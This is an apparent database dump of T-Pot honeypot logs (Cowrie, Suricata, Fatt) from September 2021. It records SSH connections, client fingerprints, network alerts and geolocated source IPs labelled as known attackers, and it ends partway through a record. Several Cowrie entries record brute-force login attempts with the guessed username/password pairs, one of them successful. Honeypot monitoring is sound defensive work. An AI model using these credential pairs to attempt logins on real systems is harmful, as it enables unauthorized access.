36616	81.71.14.9	109.199.241.180	Fatt	2021-09-20 15:16:44.409166+03	2021-09-20 15:30:02.508867+03	{"_id": "YAYjA3wBvYTbRNuEHWR6", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "81.71.14.9", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 60096, "dest_port": 22, "timestamp": "2021-09-20T12:16:44.409166", "@timestamp": "2021-09-20T12:16:44.409Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	CN
36617	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:45.597838+03	2021-09-20 15:30:02.509867+03	{"_id": "YQYjA3wBvYTbRNuEH2RX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.login.success", "message": "login attempt [irfan/irfan] succeeded", "session": "ca00cf87f2d1", "@version": "1", "password": "irfan", "username": "irfan", "timestamp": "2021-09-20T12:16:45.597838Z", "@timestamp": "2021-09-20T12:16:45.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	known attacker	CN
36618	150.109.115.128	109.199.241.180	Suricata	2021-09-20 15:16:46.023184+03	2021-09-20 15:30:02.510869+03	{"_id": "YgYjA3wBvYTbRNuEIGRh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "150.109.115.128", "dest_ip": "192.168.20.116", "flow_id": 699744589266012, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 40590, "dest_port": 22, "timestamp": "2021-09-20T12:16:46.023184Z", "@timestamp": "2021-09-20T12:16:46.023Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	HK
36619	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:46.02325+03	2021-09-20 15:30:02.512869+03	{"_id": "bgYjA3wBvYTbRNuEIWSp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "150.109.115.128", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 40590, "timestamp": "2021-09-20T12:16:46.023250", "@timestamp": "2021-09-20T12:16:46.023Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36620	150.109.115.128	109.199.241.180	Cowrie	2021-09-20 15:16:45.814589+03	2021-09-20 15:30:02.513868+03	{"_id": "cwYjA3wBvYTbRNuEI2RB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "150.109.115.128", "latitude": 22.25, "location": {"lat": 22.25, "lon": 114.1667}, "timezone": "Asia/Hong_Kong", "longitude": 114.1667, "country_name": "Hong Kong", "country_code2": "HK", "country_code3": "HK", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "150.109.115.128", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 150.109.115.128:40590 (192.168.176.2:22) [session: d2d26eabc461]", "session": "d2d26eabc461", "@version": "1", "protocol": "ssh", "src_port": 40590, "dest_port": 22, "timestamp": "2021-09-20T12:16:45.814589Z", "@timestamp": "2021-09-20T12:16:45.814Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	HK
36621	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:46.450887+03	2021-09-20 15:30:02.51487+03	{"_id": "dAYjA3wBvYTbRNuEI2RB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "13b69276ac7e", "@version": "1", "timestamp": "2021-09-20T12:16:46.450887Z", "@timestamp": "2021-09-20T12:16:46.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36622	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:47.670485+03	2021-09-20 15:30:02.516867+03	{"_id": "egYjA3wBvYTbRNuEJ2Qp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "13b69276ac7e", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T12:16:47.670485Z", "@timestamp": "2021-09-20T12:16:47.670Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36623	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:16:37.884385+03	2021-09-20 15:30:02.517867+03	{"_id": "JwYjA3wBvYTbRNuEA2T8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ee691b606ef4", "@version": "1", "duration": 2.227170944213867, "timestamp": "2021-09-20T12:16:37.884385Z", "@timestamp": "2021-09-20T12:16:37.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	US
36625	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:16:41.790954+03	2021-09-20 15:30:02.520869+03	{"_id": "KgYjA3wBvYTbRNuED2Sz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "57439a422303", "@version": "1", "timestamp": "2021-09-20T12:16:41.790954Z", "@timestamp": "2021-09-20T12:16:41.790Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
36626	13.107.18.254	109.199.241.180	Suricata	2021-09-20 15:16:41.437032+03	2021-09-20 15:30:02.521868+03	{"_id": "LgYjA3wBvYTbRNuEEGS8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:41.437032+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 60}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA STREAM RST recv but no session", "signature_id": 2210041}, "geoip": {"ip": "13.107.18.254", "asn": 8068, "as_org": "Microsoft Corporation", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "13.107.18.254", "stream": 0, "dest_ip": "192.168.20.147", "flow_id": 512200547085096, "payload": "", "@version": "1", "in_iface": "enp5s0", "src_port": 443, "dest_port": 62635, "timestamp": "2021-09-20T12:16:41.437032Z", "@timestamp": "2021-09-20T12:16:41.437Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	US
36627	23.97.240.235	109.199.241.180	Suricata	2021-09-20 15:16:41.790658+03	2021-09-20 15:30:02.522867+03	{"_id": "LwYjA3wBvYTbRNuEEGS8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.5"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "23.97.240.235", "dest_ip": "192.168.20.116", "flow_id": 2175795999660756, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42246, "dest_port": 22, "timestamp": "2021-09-20T12:16:41.790658Z", "@timestamp": "2021-09-20T12:16:41.790Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
36628	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:41.752292+03	2021-09-20 15:30:02.523869+03	{"_id": "OQYjA3wBvYTbRNuEEmQE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "23.97.240.235", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42246, "timestamp": "2021-09-20T12:16:41.752292", "@timestamp": "2021-09-20T12:16:41.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36629	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:16:42.034737+03	2021-09-20 15:30:02.525867+03	{"_id": "OgYjA3wBvYTbRNuEE2Sd", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.login.failed", "message": "login attempt [root/debian] failed", "session": "57439a422303", "@version": "1", "password": "debian", "username": "root", "timestamp": "2021-09-20T12:16:42.034737Z", "@timestamp": "2021-09-20T12:16:42.034Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	NL
36630	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:16:42.398087+03	2021-09-20 15:30:02.526867+03	{"_id": "SgYjA3wBvYTbRNuEFWTu", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 36312, "dest_port": 443, "timestamp": "2021-09-20T12:16:42.398087", "@timestamp": "2021-09-20T12:16:42.398Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
36631	23.97.240.235	109.199.241.180	Cowrie	2021-09-20 15:16:43.075764+03	2021-09-20 15:30:02.528868+03	{"_id": "SwYjA3wBvYTbRNuEF2SG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "23.97.240.235", "asn": 8075, "as_org": "Microsoft Corporation", "latitude": 52.3534, "location": {"lat": 52.3534, "lon": 4.9087}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9087, "postal_code": "1091", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "23.97.240.235", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "57439a422303", "@version": "1", "duration": 1.3241114616394043, "timestamp": "2021-09-20T12:16:43.075764Z", "@timestamp": "2021-09-20T12:16:43.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
36632	0000:0000:0000:0000:0000:0000:0000:0000	109.199.241.180	Suricata	2021-09-20 15:16:43.937404+03	2021-09-20 15:30:02.530867+03	{"_id": "TQYjA3wBvYTbRNuEGGSO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:16:43.937404+0000", "pkts_toclient": 0, "pkts_toserver": 1, "bytes_toclient": 0, "bytes_toserver": 90}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA zero length padN option", "signature_id": 2200094}, "geoip": {}, "proto": "IPv6-ICMP", "src_ip": "0000:0000:0000:0000:0000:0000:0000:0000", "stream": 0, "dest_ip": "ff02:0000:0000:0000:0000:0000:0000:0016", "flow_id": 306557513059772, "payload": "AAAAAQQAAAD/AgAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "icmp_code": 0, "icmp_type": 143, "timestamp": "2021-09-20T12:16:43.937404Z", "@timestamp": "2021-09-20T12:16:43.937Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "................"}}	1	\N	\N	alert	\N	\N
36633	81.71.14.9	109.199.241.180	Cowrie	2021-09-20 15:16:44.409802+03	2021-09-20 15:30:02.531867+03	{"_id": "VAYjA3wBvYTbRNuEG2Ru", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "81.71.14.9", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "81.71.14.9", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": 